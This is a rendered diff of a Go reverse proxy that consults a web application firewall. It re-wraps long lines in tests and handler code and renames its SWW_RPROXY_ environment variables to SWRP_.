"read %q (%v), want the connection closed without an answer",
|
||||||
|
text,
|
||||||
|
err,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if line := out.requestLine(t); line["status"] != 0.0 {
|
if line := out.requestLine(t); line["status"] != 0.0 {
|
||||||
@@ -1073,7 +1230,9 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing.T) {
|
func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const answer = "the end of a long answer"
|
const answer = "the end of a long answer"
|
||||||
@@ -1091,13 +1250,28 @@ func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing
|
|||||||
maxRequestTime: "2000",
|
maxRequestTime: "2000",
|
||||||
})
|
})
|
||||||
|
|
||||||
got := visit(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")))
|
got := visit(
|
||||||
|
t,
|
||||||
|
newRequest(
|
||||||
|
t,
|
||||||
|
http.MethodPost,
|
||||||
|
addr,
|
||||||
|
"/",
|
||||||
|
strings.NewReader("a body"),
|
||||||
|
),
|
||||||
|
)
|
||||||
if got.status != http.StatusOK || got.body != answer {
|
if got.status != http.StatusOK || got.body != answer {
|
||||||
t.Errorf("answered %d %q, want the app's whole answer", got.status, got.body)
|
t.Errorf(
|
||||||
|
"answered %d %q, want the app's whole answer",
|
||||||
|
got.status,
|
||||||
|
got.body,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T) {
|
func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -1118,10 +1292,15 @@ func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T
|
|||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
// The request time limit is longer than the 10 seconds an answer rproxy
|
// The request time limit is longer than the 10 seconds an answer rproxy
|
||||||
// gives itself has to be sent, and than dial's deadline.
|
// gives itself has to be sent, and than dial's deadline.
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, _ := startRProxy(
|
||||||
maxRequestTime: "15000",
|
t,
|
||||||
maxResponseTime: "300",
|
standIn.URL,
|
||||||
})
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
maxRequestTime: "15000",
|
||||||
|
maxResponseTime: "300",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
// The body stops 100 bytes short, less than Go's server reads of a body
|
// The body stops 100 bytes short, less than Go's server reads of a body
|
||||||
// left unread before it answers.
|
// left unread before it answers.
|
||||||
|
|||||||
@@ -54,7 +54,12 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
|
|||||||
asked := standIn.question(t)
|
asked := standIn.question(t)
|
||||||
if asked.method != http.MethodDelete || asked.target != target ||
|
if asked.method != http.MethodDelete || asked.target != target ||
|
||||||
asked.host != site {
|
asked.host != site {
|
||||||
t.Errorf("asked about %s %s at %s", asked.method, asked.target, asked.host)
|
t.Errorf(
|
||||||
|
"asked about %s %s at %s",
|
||||||
|
asked.method,
|
||||||
|
asked.target,
|
||||||
|
asked.host,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if asked.header.Get(requestIDHeader) == "the-visitor's" {
|
if asked.header.Get(requestIDHeader) == "the-visitor's" {
|
||||||
@@ -72,7 +77,11 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
|
|||||||
want.Set(waf.PeerHeader, localhost)
|
want.Set(waf.PeerHeader, localhost)
|
||||||
|
|
||||||
if !maps.EqualFunc(asked.header, want, slices.Equal) {
|
if !maps.EqualFunc(asked.header, want, slices.Equal) {
|
||||||
t.Errorf("the question's headers are %v, want %v", asked.header, want)
|
t.Errorf(
|
||||||
|
"the question's headers are %v, want %v",
|
||||||
|
asked.header,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -100,9 +109,14 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
|
|||||||
|
|
||||||
greet(w, r)
|
greet(w, r)
|
||||||
})
|
})
|
||||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, out := startRProxy(
|
||||||
trustedProxies: tc.trusted,
|
t,
|
||||||
})
|
standIn.URL,
|
||||||
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
trustedProxies: tc.trusted,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
||||||
req.Header.Set(forwardedForHeader, visitor)
|
req.Header.Set(forwardedForHeader, visitor)
|
||||||
@@ -122,7 +136,12 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded {
|
if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded {
|
||||||
t.Errorf("the app saw %s %q, want %q", forwardedForHeader, got, tc.forwarded)
|
t.Errorf(
|
||||||
|
"the app saw %s %q, want %q",
|
||||||
|
forwardedForHeader,
|
||||||
|
got,
|
||||||
|
tc.forwarded,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -159,9 +178,14 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
|
|||||||
|
|
||||||
standIn := startWAF(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, _ := startRProxy(
|
||||||
trustedProxies: localhost + "/32,10.0.0.0/8",
|
t,
|
||||||
})
|
standIn.URL,
|
||||||
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
trustedProxies: localhost + "/32,10.0.0.0/8",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
||||||
req.Header[forwardedForHeader] = tc.header
|
req.Header[forwardedForHeader] = tc.header
|
||||||
@@ -200,15 +224,24 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
|
|||||||
body := randomBytes(size)
|
body := randomBytes(size)
|
||||||
standIn := startWAF(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
received := make(chan []byte, 1)
|
received := make(chan []byte, 1)
|
||||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
app := startApp(
|
||||||
whole, _ := io.ReadAll(r.Body)
|
t,
|
||||||
received <- whole
|
func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
whole, _ := io.ReadAll(r.Body)
|
||||||
|
received <- whole
|
||||||
|
|
||||||
greet(w, r)
|
greet(w, r)
|
||||||
})
|
},
|
||||||
|
)
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
||||||
|
|
||||||
req := newRequest(t, http.MethodPost, addr, "/", bytes.NewReader(body))
|
req := newRequest(
|
||||||
|
t,
|
||||||
|
http.MethodPost,
|
||||||
|
addr,
|
||||||
|
"/",
|
||||||
|
bytes.NewReader(body),
|
||||||
|
)
|
||||||
if !announced {
|
if !announced {
|
||||||
// Go's client sends a body of unknown length in chunks.
|
// Go's client sends a body of unknown length in chunks.
|
||||||
req.ContentLength = -1
|
req.ContentLength = -1
|
||||||
@@ -224,7 +257,9 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
|
|||||||
t.Error("the app did not get the whole body")
|
t.Error("the app did not get the whole body")
|
||||||
}
|
}
|
||||||
|
|
||||||
if report := standIn.report(t); report.RequestBytes != int64(size) {
|
if report := standIn.report(t); report.RequestBytes != int64(
|
||||||
|
size,
|
||||||
|
) {
|
||||||
t.Errorf("report %+v, of %d bytes", report, size)
|
t.Errorf("report %+v, of %d bytes", report, size)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -240,8 +275,11 @@ func wantQuestionBody(
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if !bytes.Equal(asked.body, want) {
|
if !bytes.Equal(asked.body, want) {
|
||||||
t.Errorf("the question carries %d bytes, want the first %d", len(asked.body),
|
t.Errorf(
|
||||||
len(want))
|
"the question carries %d bytes, want the first %d",
|
||||||
|
len(asked.body),
|
||||||
|
len(want),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
values := asked.header.Values(waf.ContentLengthHeader)
|
values := asked.header.Values(waf.ContentLengthHeader)
|
||||||
@@ -256,9 +294,13 @@ func wantQuestionBody(
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(values) != 0 || !slices.Equal(asked.transferEncoding, []string{chunked}) {
|
if len(values) != 0 ||
|
||||||
t.Errorf("announced %v and encoded %v, want none and chunked", values,
|
!slices.Equal(asked.transferEncoding, []string{chunked}) {
|
||||||
asked.transferEncoding)
|
t.Errorf(
|
||||||
|
"announced %v and encoded %v, want none and chunked",
|
||||||
|
values,
|
||||||
|
asked.transferEncoding,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -311,7 +353,11 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
|
|||||||
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
|
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
|
||||||
|
|
||||||
conn := dial(t, addr)
|
conn := dial(t, addr)
|
||||||
send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing)
|
send(
|
||||||
|
t,
|
||||||
|
conn,
|
||||||
|
method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing,
|
||||||
|
)
|
||||||
|
|
||||||
if status := readStatus(t, conn); status != http.StatusForbidden {
|
if status := readStatus(t, conn); status != http.StatusForbidden {
|
||||||
t.Errorf("status %d, want waf's 403", status)
|
t.Errorf("status %d, want waf's 403", status)
|
||||||
@@ -320,8 +366,13 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
|
|||||||
asked := standIn.question(t)
|
asked := standIn.question(t)
|
||||||
if string(asked.body) != tc.body ||
|
if string(asked.body) != tc.body ||
|
||||||
!slices.Equal(asked.transferEncoding, tc.encoding) {
|
!slices.Equal(asked.transferEncoding, tc.encoding) {
|
||||||
t.Errorf("the question carries %q, encoded %v, want %q, encoded %v",
|
t.Errorf(
|
||||||
asked.body, asked.transferEncoding, tc.body, tc.encoding)
|
"the question carries %q, encoded %v, want %q, encoded %v",
|
||||||
|
asked.body,
|
||||||
|
asked.transferEncoding,
|
||||||
|
tc.body,
|
||||||
|
tc.encoding,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -343,10 +394,15 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
|||||||
|
|
||||||
got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
|
got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
|
||||||
if got.status != http.StatusMethodNotAllowed ||
|
if got.status != http.StatusMethodNotAllowed ||
|
||||||
got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
|
got.header.Get(
|
||||||
|
"Allow",
|
||||||
|
) != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
|
||||||
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
|
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
|
||||||
"MKCALENDAR" {
|
"MKCALENDAR" {
|
||||||
t.Errorf("answered %+v, want 405 naming the methods passed on", got)
|
t.Errorf(
|
||||||
|
"answered %+v, want 405 naming the methods passed on",
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
@@ -483,7 +539,12 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
|
|||||||
|
|
||||||
asked := standIn.question(t)
|
asked := standIn.question(t)
|
||||||
if got := asked.header.Get(forwardedProtoHeader); got != want {
|
if got := asked.header.Get(forwardedProtoHeader); got != want {
|
||||||
t.Errorf("the question's %s is %q, want %s", forwardedProtoHeader, got, want)
|
t.Errorf(
|
||||||
|
"the question's %s is %q, want %s",
|
||||||
|
forwardedProtoHeader,
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -504,11 +565,21 @@ func TestAQuestionNamesNoZone(t *testing.T) {
|
|||||||
|
|
||||||
standIn := startWAF(t, deny)
|
standIn := startWAF(t, deny)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
_, out, server := startServer(t, standIn.URL, app.URL, map[string]string{
|
_, out, server := startServer(
|
||||||
trustedProxies: localhost + "/32",
|
t,
|
||||||
})
|
standIn.URL,
|
||||||
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
trustedProxies: localhost + "/32",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
|
req := httptest.NewRequestWithContext(
|
||||||
|
t.Context(),
|
||||||
|
http.MethodGet,
|
||||||
|
"/",
|
||||||
|
http.NoBody,
|
||||||
|
)
|
||||||
req.RemoteAddr = tc.remoteAddr
|
req.RemoteAddr = tc.remoteAddr
|
||||||
req.Header.Set(forwardedForHeader, tc.forwardedFor)
|
req.Header.Set(forwardedForHeader, tc.forwardedFor)
|
||||||
|
|
||||||
|
|||||||
+87
-50
@@ -34,14 +34,14 @@ const plainText = "text/plain; charset=utf-8"
|
|||||||
|
|
||||||
// minSendTime is the least time to send an answer rproxy gives itself, or the
|
// minSendTime is the least time to send an answer rproxy gives itself, or the
|
||||||
// status and headers of the app's answer. A shorter time can run out before the
|
// status and headers of the app's answer. A shorter time can run out before the
|
||||||
// first byte is written, on a busy host or as SWW_RPROXY_MAX_RESPONSE_TIME_MS runs out,
|
// first byte is written, on a busy host or as SWRP_MAX_RESPONSE_TIME_MS runs out,
|
||||||
// and the visitor then gets a closed connection and no answer.
|
// and the visitor then gets a closed connection and no answer.
|
||||||
const minSendTime = 10 * time.Second
|
const minSendTime = 10 * time.Second
|
||||||
|
|
||||||
// errResponseTooLate refuses an app's answer that arrives once
|
// errResponseTooLate refuses an app's answer that arrives once
|
||||||
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
|
// SWRP_MAX_RESPONSE_TIME_MS has run out.
|
||||||
var errResponseTooLate = errors.New(
|
var errResponseTooLate = errors.New(
|
||||||
"the answer arrived after SWW_RPROXY_MAX_RESPONSE_TIME_MS ran out")
|
"the answer arrived after SWRP_MAX_RESPONSE_TIME_MS ran out")
|
||||||
|
|
||||||
// request is one request on its way through rproxy, from the moment its headers
|
// request is one request on its way through rproxy, from the moment its headers
|
||||||
// have been read to its log line and report.
|
// have been read to its log line and report.
|
||||||
@@ -61,10 +61,10 @@ type request struct {
|
|||||||
start time.Time
|
start time.Time
|
||||||
|
|
||||||
// disposition is what is done with the request: waf's valid disposition,
|
// disposition is what is done with the request: waf's valid disposition,
|
||||||
// or SWW_RPROXY_DEFAULT_DISPOSITION. It is "" when neither gave one.
|
// or SWRP_DEFAULT_DISPOSITION. It is "" when neither gave one.
|
||||||
disposition string
|
disposition string
|
||||||
// answered is true when waf gave disposition, which makes a report due,
|
// answered is true when waf gave disposition, which makes a report due,
|
||||||
// and byDefault when SWW_RPROXY_DEFAULT_DISPOSITION did.
|
// and byDefault when SWRP_DEFAULT_DISPOSITION did.
|
||||||
answered bool
|
answered bool
|
||||||
byDefault bool
|
byDefault bool
|
||||||
// asn and country are waf's X-Client-ASN and X-Client-Country, for the
|
// asn and country are waf's X-Client-ASN and X-Client-Country, for the
|
||||||
@@ -96,24 +96,34 @@ type request struct {
|
|||||||
|
|
||||||
// newRequest starts handling r: it notes the time, works out the visitor from
|
// newRequest starts handling r: it notes the time, works out the visitor from
|
||||||
// the TCP peer and X-Forwarded-For, and makes the request's id.
|
// the TCP peer and X-Forwarded-For, and makes the request's id.
|
||||||
func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
|
func (h *handler) newRequest(
|
||||||
|
w http.ResponseWriter,
|
||||||
|
r *http.Request,
|
||||||
|
) *request {
|
||||||
peer := peerAddress(r)
|
peer := peerAddress(r)
|
||||||
trusted := h.config.TrustedProxies
|
trusted := h.config.TrustedProxies
|
||||||
|
|
||||||
rq := &request{
|
rq := &request{
|
||||||
h: h,
|
h: h,
|
||||||
in: r,
|
in: r,
|
||||||
rc: http.NewResponseController(w),
|
rc: http.NewResponseController(w),
|
||||||
out: &responseWriter{ResponseWriter: w},
|
out: &responseWriter{ResponseWriter: w},
|
||||||
id: rand.Text(),
|
id: rand.Text(),
|
||||||
client: clientAddress(peer, r.Header.Values("X-Forwarded-For"), trusted),
|
client: clientAddress(
|
||||||
|
peer,
|
||||||
|
r.Header.Values("X-Forwarded-For"),
|
||||||
|
trusted,
|
||||||
|
),
|
||||||
peer: peer,
|
peer: peer,
|
||||||
peerTrusted: isInside(peer, trusted),
|
peerTrusted: isInside(peer, trusted),
|
||||||
start: time.Now(),
|
start: time.Now(),
|
||||||
}
|
}
|
||||||
|
|
||||||
if r.Body != http.NoBody {
|
if r.Body != http.NoBody {
|
||||||
rq.body = &requestBody{body: limitBody(r.Body, h.config.MaxRequestSize), rq: rq}
|
rq.body = &requestBody{
|
||||||
|
body: limitBody(r.Body, h.config.MaxRequestSize),
|
||||||
|
rq: rq,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return rq
|
return rq
|
||||||
@@ -127,10 +137,10 @@ func (rq *request) answerHealth() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// readFirstPartOfBody reads up to the first 64 KiB of the body into memory,
|
// readFirstPartOfBody reads up to the first 64 KiB of the body into memory,
|
||||||
// within SWW_RPROXY_MAX_REQUEST_TIME_MS, and reports whether the request goes on. A
|
// within SWRP_MAX_REQUEST_TIME_MS, and reports whether the request goes on. A
|
||||||
// visitor too slow to send it is answered 408. For a malformed chunk, or a
|
// visitor too slow to send it is answered 408. For a malformed chunk, or a
|
||||||
// visitor that went away or stopped its sending side, the connection is closed
|
// visitor that went away or stopped its sending side, the connection is closed
|
||||||
// without an answer. A body over SWW_RPROXY_MAX_REQUEST_SIZE goes on with the part
|
// without an answer. A body over SWRP_MAX_REQUEST_SIZE goes on with the part
|
||||||
// read, so that waf is asked first; passToApp then refuses it.
|
// read, so that waf is asked first; passToApp then refuses it.
|
||||||
func (rq *request) readFirstPartOfBody() bool {
|
func (rq *request) readFirstPartOfBody() bool {
|
||||||
if rq.body == nil {
|
if rq.body == nil {
|
||||||
@@ -138,7 +148,9 @@ func (rq *request) readFirstPartOfBody() bool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
_ = rq.rc.SetReadDeadline(rq.requestDeadline())
|
_ = rq.rc.SetReadDeadline(rq.requestDeadline())
|
||||||
held, err := io.ReadAll(io.LimitReader(rq.body, waf.QuestionBodyMaxBytes))
|
held, err := io.ReadAll(
|
||||||
|
io.LimitReader(rq.body, waf.QuestionBodyMaxBytes),
|
||||||
|
)
|
||||||
// From here on, the request timer ends a read of the rest of the body, so that
|
// From here on, the request timer ends a read of the rest of the body, so that
|
||||||
// the answer can name the side rproxy was waiting on.
|
// the answer can name the side rproxy was waiting on.
|
||||||
_ = rq.rc.SetReadDeadline(time.Time{})
|
_ = rq.rc.SetReadDeadline(time.Time{})
|
||||||
@@ -198,7 +210,7 @@ func (rq *request) forward(ctx context.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// rewrite makes the request the app receives: the visitor's request, unchanged,
|
// rewrite makes the request the app receives: the visitor's request, unchanged,
|
||||||
// sent to SWW_RPROXY_UPSTREAM_URL, with the forwarded headers and the request's id set,
|
// sent to SWRP_UPSTREAM_URL, with the forwarded headers and the request's id set,
|
||||||
// without any X-Client-ASN or X-Client-Country the visitor sent, and with
|
// without any X-Client-ASN or X-Client-Country the visitor sent, and with
|
||||||
// waf's.
|
// waf's.
|
||||||
func (rq *request) rewrite(pr *httputil.ProxyRequest) {
|
func (rq *request) rewrite(pr *httputil.ProxyRequest) {
|
||||||
@@ -247,7 +259,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
|||||||
|
|
||||||
requestEnd := rq.endRequest()
|
requestEnd := rq.endRequest()
|
||||||
|
|
||||||
// An answer that arrives once SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out is not
|
// An answer that arrives once SWRP_MAX_RESPONSE_TIME_MS has run out is not
|
||||||
// passed on: the visitor is answered 504.
|
// passed on: the visitor is answered 504.
|
||||||
limit := rq.h.config.MaxResponseTime
|
limit := rq.h.config.MaxResponseTime
|
||||||
if limit > 0 && !time.Now().Before(requestEnd.Add(limit)) {
|
if limit > 0 && !time.Now().Before(requestEnd.Add(limit)) {
|
||||||
@@ -257,7 +269,8 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
maxBytes := rq.h.config.MaxResponseSize
|
maxBytes := rq.h.config.MaxResponseSize
|
||||||
if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
|
if maxBytes > 0 && res.Body != http.NoBody &&
|
||||||
|
res.ContentLength > maxBytes {
|
||||||
rq.refuse(http.StatusBadGateway)
|
rq.refuse(http.StatusBadGateway)
|
||||||
|
|
||||||
return errResponseTooLarge
|
return errResponseTooLarge
|
||||||
@@ -273,7 +286,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
|||||||
rq.closeAfterAnswer()
|
rq.closeAfterAnswer()
|
||||||
|
|
||||||
// An answer that arrives before the app has been sent the whole request ends
|
// An answer that arrives before the app has been sent the whole request ends
|
||||||
// the request, and SWW_RPROXY_MAX_RESPONSE_TIME_MS starts.
|
// the request, and SWRP_MAX_RESPONSE_TIME_MS starts.
|
||||||
rq.startResponseTimer(requestEnd)
|
rq.startResponseTimer(requestEnd)
|
||||||
|
|
||||||
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
|
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
|
||||||
@@ -284,7 +297,11 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
|||||||
|
|
||||||
// answerError is ReverseProxy's ErrorHandler: the request could not be passed to
|
// answerError is ReverseProxy's ErrorHandler: the request could not be passed to
|
||||||
// the app, or the app's answer cannot be passed on.
|
// the app, or the app's answer cannot be passed on.
|
||||||
func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
|
func (rq *request) answerError(
|
||||||
|
_ http.ResponseWriter,
|
||||||
|
_ *http.Request,
|
||||||
|
err error,
|
||||||
|
) {
|
||||||
if rq.upgraded != nil {
|
if rq.upgraded != nil {
|
||||||
// The app switched protocols, but the switch was not passed on, and
|
// The app switched protocols, but the switch was not passed on, and
|
||||||
// ReverseProxy leaves the app's connection open when it refuses it.
|
// ReverseProxy leaves the app's connection open when it refuses it.
|
||||||
@@ -300,7 +317,11 @@ func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error
|
|||||||
panic(http.ErrAbortHandler)
|
panic(http.ErrAbortHandler)
|
||||||
}
|
}
|
||||||
|
|
||||||
rq.h.processLog.Warn("request to the app failed", "error", err.Error())
|
rq.h.processLog.Warn(
|
||||||
|
"request to the app failed",
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
|
|
||||||
status = http.StatusBadGateway
|
status = http.StatusBadGateway
|
||||||
}
|
}
|
||||||
@@ -361,7 +382,7 @@ func (rq *request) closeAfterAnswer() {
|
|||||||
|
|
||||||
// prepareOwnAnswer readies the connection for an answer rproxy gives itself: the
|
// prepareOwnAnswer readies the connection for an answer rproxy gives itself: the
|
||||||
// reading of a body that has not arrived whole ends at deadline, and the answer
|
// reading of a body that has not arrived whole ends at deadline, and the answer
|
||||||
// has SWW_RPROXY_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app
|
// has SWRP_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app
|
||||||
// used that time up first, and at least minSendTime.
|
// used that time up first, and at least minSendTime.
|
||||||
func (rq *request) prepareOwnAnswer(deadline time.Time) {
|
func (rq *request) prepareOwnAnswer(deadline time.Time) {
|
||||||
rq.stopReadingBody(deadline)
|
rq.stopReadingBody(deadline)
|
||||||
@@ -411,24 +432,33 @@ func (rq *request) finish(ctx context.Context) {
|
|||||||
end := time.Now()
|
end := time.Now()
|
||||||
requestBytes, responseBytes := rq.bytesEachWay()
|
requestBytes, responseBytes := rq.bytesEachWay()
|
||||||
|
|
||||||
err := requestlog.WriteRProxyLine(rq.h.requestLog, &requestlog.RProxyLine{
|
err := requestlog.WriteRProxyLine(
|
||||||
Time: requestlog.FormatTime(rq.start),
|
rq.h.requestLog,
|
||||||
RequestID: rq.id,
|
&requestlog.RProxyLine{
|
||||||
ClientIP: rq.client.String(),
|
Time: requestlog.FormatTime(rq.start),
|
||||||
Host: rq.in.Host,
|
RequestID: rq.id,
|
||||||
Method: rq.in.Method,
|
ClientIP: rq.client.String(),
|
||||||
Path: rules.Path(rq.in),
|
Host: rq.in.Host,
|
||||||
Query: rq.in.URL.RawQuery,
|
Method: rq.in.Method,
|
||||||
Status: rq.out.status,
|
Path: rules.Path(rq.in),
|
||||||
RequestBytes: requestBytes,
|
Query: rq.in.URL.RawQuery,
|
||||||
ResponseBytes: responseBytes,
|
Status: rq.out.status,
|
||||||
DurationRequestMS: requestlog.Milliseconds(requestEnd.Sub(rq.start)),
|
RequestBytes: requestBytes,
|
||||||
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
|
ResponseBytes: responseBytes,
|
||||||
Disposition: rq.disposition,
|
DurationRequestMS: requestlog.Milliseconds(
|
||||||
DefaultDisposition: rq.byDefault,
|
requestEnd.Sub(rq.start),
|
||||||
})
|
),
|
||||||
|
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
|
||||||
|
Disposition: rq.disposition,
|
||||||
|
DefaultDisposition: rq.byDefault,
|
||||||
|
},
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
rq.h.processLog.Error("writing the request log failed", "error", err.Error())
|
rq.h.processLog.Error(
|
||||||
|
"writing the request log failed",
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if !rq.answered {
|
if !rq.answered {
|
||||||
@@ -443,7 +473,9 @@ func (rq *request) finish(ctx context.Context) {
|
|||||||
DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)),
|
DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)),
|
||||||
}
|
}
|
||||||
if !rq.upstreamStart.IsZero() {
|
if !rq.upstreamStart.IsZero() {
|
||||||
report.DurationUpstreamTotalMS = requestlog.Milliseconds(end.Sub(rq.upstreamStart))
|
report.DurationUpstreamTotalMS = requestlog.Milliseconds(
|
||||||
|
end.Sub(rq.upstreamStart),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
rq.h.sendReport(ctx, report)
|
rq.h.sendReport(ctx, report)
|
||||||
@@ -470,7 +502,7 @@ func (rq *request) bytesEachWay() (int64, int64) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// requestDeadline is when the visitor must have sent its whole request, or zero
|
// requestDeadline is when the visitor must have sent its whole request, or zero
|
||||||
// when SWW_RPROXY_MAX_REQUEST_TIME_MS is off.
|
// when SWRP_MAX_REQUEST_TIME_MS is off.
|
||||||
func (rq *request) requestDeadline() time.Time {
|
func (rq *request) requestDeadline() time.Time {
|
||||||
limit := rq.h.config.MaxRequestTime
|
limit := rq.h.config.MaxRequestTime
|
||||||
if limit == 0 {
|
if limit == 0 {
|
||||||
@@ -511,7 +543,7 @@ func (rq *request) stopPassingOnBody(deadline time.Time) {
|
|||||||
rq.stopReadingBody(deadline)
|
rq.stopReadingBody(deadline)
|
||||||
}
|
}
|
||||||
|
|
||||||
// startRequestTimer starts SWW_RPROXY_MAX_REQUEST_TIME_MS, which runs from the
|
// startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the
|
||||||
// request's headers being read until the app has been sent the whole request.
|
// request's headers being read until the app has been sent the whole request.
|
||||||
func (rq *request) startRequestTimer() {
|
func (rq *request) startRequestTimer() {
|
||||||
deadline := rq.requestDeadline()
|
deadline := rq.requestDeadline()
|
||||||
